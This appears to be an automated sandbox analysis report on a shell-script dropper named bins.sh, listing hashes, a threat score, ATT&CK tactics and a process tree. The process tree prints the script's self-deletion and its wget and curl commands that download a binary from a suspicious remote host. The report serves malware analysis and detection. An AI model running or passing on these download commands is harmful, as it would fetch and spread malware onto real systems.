e82a1e48e0d4764bd4ecdb085a656f4c4e9fa0ce58893c809482ccc8f4e69f09

Analysis

max time kernel
148s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/11/2024, 00:36

Target
bins.sh
Size 10KB
Sample241102-ayc13symfj
SHA256 e82a1e48e0d4764bd4ecdb085a656f4c4e9fa0ce58893c809482ccc8f4e69f09
MD5 d4d960749da422432fc0212b07bc611a
SHA1 bf0f045639aaa3579ce194127db8f6133cd76397
SHA512 ff2a1e4062d11d01fa83160fa5905be0b066314bf9c6ad747b63860f87fdefc63f1851177031ded1839d4ec8621bb576a660ebd0b3df98851b74f1c3df83f2b7
SSDEEP 192:CIaIOI5IAIgIsJNtdp6/POqKJYk29AsGsOms9ZotqKJYkoZAsGsOmEIaIOI5IAIQ:DJNWAsGsOms9tAsGsOmF
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

discovery

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

pid	Process
1505	wget
1506	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1503
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
  2⤵
  - System Network Configuration Discovery
  PID:1505
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bXIRFRPv3OTTb3yteONjI7dItvhHjly9Iw
  2⤵
  - System Network Configuration Discovery
  PID:1506

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact